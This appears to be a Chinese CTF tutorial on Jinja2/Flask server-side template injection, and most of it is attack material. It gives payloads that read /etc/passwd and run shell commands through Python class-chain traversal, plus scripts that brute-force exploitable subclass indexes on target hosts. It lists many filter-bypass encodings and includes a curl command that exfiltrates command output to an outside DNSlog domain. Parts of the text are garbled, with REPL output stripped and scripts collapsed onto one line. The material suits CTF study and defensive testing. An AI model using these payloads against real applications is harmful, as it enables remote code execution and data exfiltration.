web安全|[CTF的PASSBY]浅谈FLASK-jinja2 SSTI 的绕过

写在前面: 下面的python脚本都是因为每个机子的环境不一样,具体要使用到的函数所在模块不一定相同,所以payload就不尽相同,需要大家自己结合环境跑一遍,才可实现。
原理: 自己的了解:通过父类逐级调用可利用函数实现代码执行
深入了解:面向对象是通过类来实现的,对于python,有非常多的库函数,而这些函数就是通过类里面的某个函数实现的。而大多数类则是通过import来引入,python的str(字符串)、dict(字典)、tuple(元组)、list(列表) 基类都是object,而object拥有众多子类。 如:父类.子类.函数(如eval) ->以此实现代码执行
常用魔术方法 1.__class__
__class__: 用来查看变量所属的类,所以他的格式就是: 变量.__class__
__class__ 是类的内置属性,表示类的类型,返回

>>> ''.__class__


>>> ().__class__


>>> [].__class__


>>> {}.__class__


2.__bases__
查看类的基类,所以格式是 变量.__class__.__bases__
同时这里还可以使用索引来查看对应位置的值(从0开始)。这个是查看该类的父类,返回的是父类形成的元组
>>> ().__class__.__bases__
(,) //元组所以有个,

>>> ''.__class__.__bases__
(,)

【web安全|[CTF的PASSBY]浅谈FLASK-jinja2 SSTI 的绕过】>>> [].__class__.__bases__
(,)

>>> {}.__class__.__bases__
(,)

3.__mro__
__mro__ 获取类的基类,返回类的调用顺序
>>> ''.__class__.__mro__
(, )
>>> [].__class__.__mro__
(, )
>>> {}.__class__.__mro__
(, )
>>> ().__class__.__mro__
(, )

通过这几个简单的类的继承方法,我们可以从任意变量获取任意基类,以此得到许多类和方法

4.__subclasses__()
__subclasses__():查看当前类的子类组成的列表,返回基类object的子类
(↓ python2 ↓)
>>> [].__class__.__bases__[0].__subclasses__()
(0, )
(1, )
(2, )
(3, )
(4, )
(5, )
(6, )
(7, )
(8, )
(9, )
(10, )
(11, )
(12, )
(13, )
(14, )
(15, )
(16, )
(17, )
(18, )
......
(38, )
(39, )
(40, )
(41, )
(42, )
(43, )
......
可以注意到40是file(实现读取文件),圈起来待会要考

总之呢,我们就是要通过这样的方法,找出我们可以利用的类来实现代码执行

内建函数 内建函数就是不用创建函数是就可以调用的函数,比如print之类的
1.__builtins__
builtins可以查看当前导入的内建函数

2.__globals__
__globals__: 以字典的形式返回当前位置的所有全局变量,等价于 func_globals. 这个特性使得这个函数具备特有的属性,记录了当前文件全局变量的值,只要某个文件调用了os,sys等库,当我们只能访问该文件某个函数或者某个对象,那么就可以使用globals访问全局变量的变量。这个属性保存函数全局变量的字典引用

3.__import()__
__import()__引入类或函数

如何利用? 1.读取文件
python2中:
在上文中我们使用 __subclasses__ 方法查看子类的时候,发现可以发现索引号为40指向file类:

for i in enumerate(''.__class__.__mro__[-1].__subclasses__()):
print i
.....
(0, )
(1, )
(2, )
(3, )
(4, )
(5, )
(6, )
(7, )
(8, )
(9, )
(10, )
(11, )
(12, )
(13, )
(14, )
(15, )
(16, )
(17, )
(18, )
......
(38, )
(39, )
(40, )
(41, )
(42, )
(43, )
......
因此可以用这个payload来实现读文件
{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
基于我的靶场是 python3这里就无法贴图展示效果了

python3中:
因为python3已经移除了file类,所以这里通过 这个类去读取文件
首先编写脚本遍历目标Python环境中 这个类索引号:
import requestsheaders = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36' }for i in range(500): url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"res = requests.get(url=url, headers=headers) if 'FileLoader' in res.text: print(i)

web安全|[CTF的PASSBY]浅谈FLASK-jinja2 SSTI 的绕过
文章图片

// 因为要通过 这个类去读取文件,只要索引号没错,页面源代码就会回显,因此通过FileLoader in resp.txt 来实现查找
可以发现是79,到页面中去看一下
web安全|[CTF的PASSBY]浅谈FLASK-jinja2 SSTI 的绕过
文章图片

执行命令
执行命令主要通过eval函数和os模块的子类来实现
eval执行命令
首先编写脚本遍历目标Python环境中含有内建函数 eval 的子类的索引号:

这里的结果就很多了
图就不贴了,结果超级多,有:
65
66
67
68
79
80
81
83
91
92
。。。。
。。。。
。。。。
499
payload:
{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
执行结果:
web安全|[CTF的PASSBY]浅谈FLASK-jinja2 SSTI 的绕过
文章图片

OS命令执行
python的os模块有system和popen两个函数可执行命令。但是system()没有回显,用system的时候要配合curl外带数据才行;而popen()函数有回显。
编写python脚本遍历os模块类的索引号:
import requestsheaders = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36' }for i in range(500): url = "http://192.168.65.154:8000//?name={{().__class__.__bases__[0].__subclasses__()[" + str( i) + "].__init__.__globals__}}"res = requests.get(url=url, headers=headers) if 'os._wrap_close' in res.text: print(i) # {{''.__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['os'].popen('ls /').read()}}

payload:
{{''.__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['os'].popen('ls /').read()}}
PS:这个不绝对,而且不准确。我试过了,遍历一遍没有一个可以的。全是返回500,但是靶机是有可能生效的

popen()执行命令
import requestsheaders = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36' }for i in range(500): url = "http://192.168.65.154:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"res = requests.get(url=url, headers=headers) if 'popen' in res.text: print(i)

可执行:
web安全|[CTF的PASSBY]浅谈FLASK-jinja2 SSTI 的绕过
文章图片



importlib执行命令
python存在类,可以利用这个类中的load_module将os模块导入,实现os命令执行
import requestsheaders = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36' }for i in range(500): url = "http://192.168.65.154:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"res = requests.get(url=url, headers=headers) if '_frozen_importlib.BuiltinImporter' in res.text: print(i) # {{[].__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls /").read()}}

可执行:
web安全|[CTF的PASSBY]浅谈FLASK-jinja2 SSTI 的绕过
文章图片


linecache代码执行
import requestsheaders = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36' }for i in range(500): url = "http://192.168.65.154:8000/?name={{().__class__.__bases__[0].__subclasses__()[" + str( i) + "].__init__.__globals__}}"res = requests.get(url=url, headers=headers) if 'linecache' in res.text: print(i)# {{[].__class__.__base__.__subclasses__()[168].__init__.__globals__['linecache']['os'].popen('ls /').read()}} # # {{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}

可执行:
web安全|[CTF的PASSBY]浅谈FLASK-jinja2 SSTI 的绕过
文章图片


subprocess.popen 命令执行
python2.4开始,可以使用subprocess模块产生子进程,可以连接到子进程的标准输入/输出/错误中,还可以得到子进程的返回值
import requestsheaders = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36' }for i in range(500): url = "http://192.168.65.154:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"res = requests.get(url=url, headers=headers) if 'popen' in res.text.casefold(): print(i) # {{[].__class__.__base__.__subclasses__()[245]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

Bypass 一.过滤关键字
比如经常会过滤flag,怎么办呢?
1.字符串拼接绕过
这边就是使用加号拼接绕过
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__['linecache']['os'].popen('cat /fl'+'ag').read()}}
要求:是字典或是字符串,即在引号内的都可以通过这样子绕过。
2.编码绕过
(1)base64编码绕过
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
等同于:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
(2)利用Unicode编码绕过(适用在flask)
例如:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\u006f\u0073'].popen('\u006c\u0073\u0020\u002f').read()}}
等同于:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

(3)Hex编码
如果过滤了‘u’,我们可以利用hex编码的方法,绕过关键字过滤,例如:

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}
等同于:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

(4)引号绕过 ->这个方法在命令执行中也适用
例如,过滤了flag,那么我们可以用 fl""ag 或 fl''ag 的形式来绕过:
[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()
再如:
().__class__.__base__.__subclasses__()[77].__init__.__globals__['o''s'].popen('ls').read()

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__buil''tins__']['eval']('__import__("os").popen("ls /").read()')}}

(5)join函数绕过
>>>print("fla".join("/g"))
/flag

二.过滤符号
1.过滤中括号[]
(1)__getitem__() 这个东西可以输出序列属性中的某个索引处的元素,如:
"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)
这两个是等价的

(2).pop()绕过
可以返回指定序列属性中的某个索引处的元素或指定字典属性某个键对应的值,如下:
{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()}} // 指定序列属性

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.__globals__.pop('__builtins__').pop('eval')('__import__("os").popen("ls /").read()')}} // 指定字典属性

PS:慎用这个,因为会删除相应的值

2.过滤了引号
(1)利用request绕过
request.args.name
request.cookies.name
request.headers.name
request.values.name
request.form.name
利用这些都可以实现绕过,其中
args接受GET传参
values接受POST传参
cookies接受cookie传参

例如:你想输入:
?name={{[].__class__.__base__.__subclasses__()[100].__init__.__globals__['__import__']('os').popen('cat flag').read()}}
但是‘’被过滤了,于是可以换成下面这个语句:
?name={{[].__class__.__base__.__subclasses__()[100].__init__.__globals__[request.args.a](request.args.b).popen(request.args.c).read()}}&a=__import__&b=os&c=cat flag

你也可以把args改成values,values可以接受post也可以接受get

结果:
web安全|[CTF的PASSBY]浅谈FLASK-jinja2 SSTI 的绕过
文章图片


PS:我本机实验的vulhub附带的ssti是做不了这个的,有点奇怪。但是我上github又安装了一个sstilab靶场的环境又是可以实现的

(2)char绕过
先爆破看你的目标环境char在哪
{{().__class__.__base__.__subclasses__()[333].__init__.__globals__.__builtins__.chr}}
然后再把char赋给cha,再使用char()的形式替换引号内的命令
如:执行
{{().__class__.__base__.__subclasses__()[137].__init__.__globals__.popen('whoami').read()}}
则执行
{% set c = ().__class__.__base__.__subclasses__()[333].__init__.__globals__.__builtins__.chr %}{{().__class__.__base__.__subclasses__()[137].__init__.__globals__.popen(c(119)%2bc(104)%2bc(111)%2bc(97)%2bc(109)%2bc(105)).read()}}
结果:
web安全|[CTF的PASSBY]浅谈FLASK-jinja2 SSTI 的绕过
文章图片


PS:哇!人嘛了。这个绕过方式sstilab那个又不行了,这个vulhub又可以了

3.过滤了下划线
这个也是用request绕过
要执行:
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
则执行
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[77].__init__.__globals__['os'].popen('ls /').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__

4.过滤了 .
(1)|attr()绕过(flask适用)
().class => ()|attr("__class__")

(2)利用[]绕过
{{''['__class__']['__bases__'][0]['__subclasses__']()[59]['__init__']['__globals__']['__builtins__']['eval']('__import__("os").popen("ls").read()')}}
等同
{{().__class__.__bases__.[0].__subclasses__().[59].__init__['__globals__']['__builtins__'].eval('__import__("os").popen("ls /").read()')}}

5.过滤{{
(1)用{%....%}转载循环控制语句绕过

(2)用{%print(.....)%}
{%print(''.__class__.__base__.__subclasses__()[103].__init__.__globals__['os'].popen('ls').read())%}

(3)也可以用curl配合DNSlog外带数据
{% if ().__class__.__base__.__subclasses__()[433].__init__.__globals__['popen']("curl `whoami`.k1o75b.ceye.io").read()=='kawhi' %}1{% endif %}

三.利用|attr()来配合其他姿势绕过 双下划线__ 引号 点. 和[ 等
1.同时过滤了. 和[]

{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(203)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}
等用于:
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()}}

2.同时过滤了 __ . []
原始语句:
{{().__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

修改第一次去掉[]
{{().__class__.__base__.__subclasses__().__getitem__(64).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("ls /").read()')}}

修改第二次去掉 .和__
{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(64)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('ls /').read()

3.过滤了 ' request {{ _ (空格) [] . __globals__ __getitem__
(1)用Unicode编码绕过
第一步:使用{%...%}绕过{{的过滤

第二步: 构造payload原型:
{{().__class__.__base__.__subclasses__()[203].__init__.__globals__['os'].popen('ls').read()}}

第三步:绕过 . []
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(203)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}

第四步:使用Unicode替换过滤字符:
{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(77)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("ls")|attr("read")()}}

(2)使用Hex编码
{{()|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(258)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("os")|attr("popen")("cat\x20\x66\x6c\x61\x67\x2e\x74\x78\x74")|attr("read")()}}

    推荐阅读